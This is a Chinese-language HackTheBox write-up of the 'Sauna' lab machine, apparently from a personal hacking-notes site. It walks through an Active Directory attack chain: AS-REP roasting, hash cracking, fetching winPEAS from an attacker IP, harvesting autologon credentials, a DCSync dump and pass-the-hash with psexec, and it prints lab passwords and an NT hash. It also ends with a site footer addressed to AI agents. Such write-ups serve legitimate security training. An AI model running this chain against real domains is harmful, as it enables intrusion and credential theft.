> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**技能**:

* 信息泄露
* LDAP 枚举
* Kerberos 用户枚举 - Kerbrute
* AS-REP Roasting 攻击（GetNPUsers）
* 破解哈希
* 系统枚举 - WinPEAS
* 自动登录凭据
* BloodHound - SharpHound.ps1
* DCSync 攻击 - Secretsdump（权限提升）
* 哈希传递
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/ae43cf7a0024ac0259736c2452693cbb8dcd82cb" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/28c60d0bf534fc2cc76b8879b527d7ce7a9a9a44" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/0b66e2d1ca36f53d428f615f8fa2210ffb870bb1" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<figure><img src="/files/ccaacb8ee2558050878135c673bb5127497422ef" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/5d4c2c87cad3aff5f431a0ad638f8bbdd65514c4" alt=""><figcaption></figcaption></figure>

## **枚举与利用：**

### **SMB 侦察：**

使用 CrackMapExec 识别操作系统

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/817af4ecaa3dd2261598a2ca645faa4682d6c82a" alt=""><figcaption></figcaption></figure></div>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。<br>

<figure><img src="/files/05fbb47f3ce949c823206ef006dc4aab73b52f7a" alt=""><figcaption></figcaption></figure>

#### 在网络中探索 SMB 共享以识别共享资源，但没有结果。

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/e1e34ccb470e4bda932551e7d21abb638388a6c4" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/7f1f9f49e2301aed0cf8773810c1af627c95f36d" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/ec6b0bc06bc56c5b65225e7a4de1c859fda37035" alt=""><figcaption></figcaption></figure>

### **RPC 侦察：**

使用 rpcclient 与 CPP 服务交互并收集资源信息

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/6834960fd28daee40fc06107519de7b32b81e7d1" alt=""><figcaption></figcaption></figure>

### **LDAP 侦察：**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### 分析 LDAP 信息以获取域结构和用户的详细信息。

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/9134e0748347a237ba8abc7de0a49c51a5dc092a" alt=""><figcaption></figcaption></figure>

**分析 LDAP 信息**

分析域结构和用户的详细信息。

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAP 用户过滤**

筛选仅获取 LDAP 用户。

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/24555d056ef79f12c07218c97fe647b715d3a58b" alt=""><figcaption></figcaption></figure></div>

### 用户列表：

<figure><img src="/files/ba75de7580ee33ccad9900dbac9f589102f81c2e" alt=""><figcaption></figcaption></figure>

#### 创建一个 `users.txt` 包含潜在用户名的文件。

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **通过 Kerberos 列出用户**

使用 `kerbrute` 用于列出有效用户。

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/aaf453f645c26b50e54a367f17c66fc4c0cc3a3e" alt=""><figcaption></figcaption></figure>

### **通过 Impacket 列出用户**

使用 `impacket-GetNPUsers` 用于在没有密码的情况下列出有效用户。

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/a49165bc5e20869cc1e91e0eca87af5025e72dc3" alt=""><figcaption></figcaption></figure>

### 暴力破解攻击：

使用 John 破解恢复的哈希。

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/44d5e9a2344f8ae6b740c03eeb5a4bd7d41c3fdb" alt=""><figcaption></figcaption></figure></div>

#### 连接与远程控制

使用 WinRM 进行远程连接。

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### 它可以工作，但没有 pwned 标记就无法通过 WinRM 连接。

<figure><img src="/files/44e26997fade0c03805afb704c0131b17d99a40b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cd06ead4feb2d3b30a59bc01bea3e9af554a648b" alt=""><figcaption></figcaption></figure>

在此示例中，连接是可能的，因为用户 fsmith 是 /\*远程管理用户组的成员

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/096cbdfade766656d64b9ebf2a8457078d50e9bf" alt=""><figcaption></figcaption></figure></div>

#### **使用 Evil-WinRM 登录**

使用 Evil-WinRM 通过 WinRM 进行交互式连接。

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/838a84672c6b0f1064cfcc9e8418e490f642b76d" alt=""><figcaption></figcaption></figure>

## 权限提升：

#### **特殊权限检查：**

使用 `whoami /priv` 用于检查特殊权限。

<figure><img src="/files/3123c90ba2f8e2cd53e2989f3c39543a757d33f0" alt=""><figcaption></figcaption></figure>

#### **搜索新用户**

使用 `net user` 用于搜索新用户。

<figure><img src="/files/4cb092721b1bc904592d265cd9219b3bf86cc0ed" alt=""><figcaption></figcaption></figure>

**搜索用户“svc/ loanmgr”的凭据**

### **使用** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

下载并运行 winPEAS 枚举工具

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/88dae3102236ee9f801eb437516b7238e46d9dc2" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/1b8b5272111bec89e52c2d645d35964e6463dc88" alt=""><figcaption></figcaption></figure>

### 使用 crackmapexec 验证找到的 ID：

用户的自动登录凭据 `svc_loanmgr` 已找到，密码为

<figure><img src="/files/b71fcccbf3f4286ea8d7a5da8898c1f1af93c3c7" alt=""><figcaption></figcaption></figure>

#### 使用 crackmapexec 验证密码是否正确。

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/81a7616dc3a6f91b539712d03b7a1e6987c7a0d2" alt=""><figcaption></figcaption></figure></div>

### 使用“svc/ loanmgr” ID 连接：

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/b010e40b435d8865cf4b32811fd773d81acb1aef" alt=""><figcaption></figcaption></figure>

## 使用 BloodHound 列出域：

<details>

<summary>安装 BloodHound：</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### 使用 neo4j:neo4j 凭据连接到 BloodHound。

<img src="/files/c59bf0d4ed08e7c4a659cd03b95b4c6f553a9751" alt="" data-size="original">

#### 正在启动 BloodHound。

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/7b2faae9cffd90c7963e7e832c6e7413f6193c07" alt="" data-size="original">

</details>

### 使用 SharpHound.ps1 收集信息

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/59ac81c6cc7ac19ccbf6d6e63c47bae715d251cc" alt=""><figcaption></figcaption></figure>

### 将收集的数据传输到 Linux 并导入 BloodHound

#### 使用收集结果创建一个 zip 文件。

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### 将 zip 文件从 Windows 机器下载到 Linux。

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### 将 zip 文件导入 BloodHound。

<figure><img src="/files/2850ee81a7d3372e2569bef6d210eb6f7c27f4fb" alt=""><figcaption></figcaption></figure>

### 分析与操作：

#### 筛选通往管理员权限的最短路径

<figure><img src="/files/0c4464c14214c59e3295d02a28a817b3737b8174" alt=""><figcaption></figcaption></figure>

#### 该工具表明可以执行 DCSync 攻击。

<div data-full-width="true"><figure><img src="/files/feb05c0f53b14985fe6f59ed85e0fe0ee1eda3cc" alt=""><figcaption></figcaption></figure></div>

## DCSync 攻击利用：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### 使用 secretsdump 获取管理员用户的 NT 哈希。

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/c752f5412666426a5d72e322f4068e075ae6f67b" alt=""><figcaption></figcaption></figure>

#### 使用 psexec 利用 NT 哈希以管理员身份运行 cmd。

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/a080846d5aa5d650244e08caeee6014e5c6d3d59" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="/files/373f3ada18d540a840b72d06c25769198881140d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a49b9f6d3f6a5d6145c90ed3dc23f54f16cebb94" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
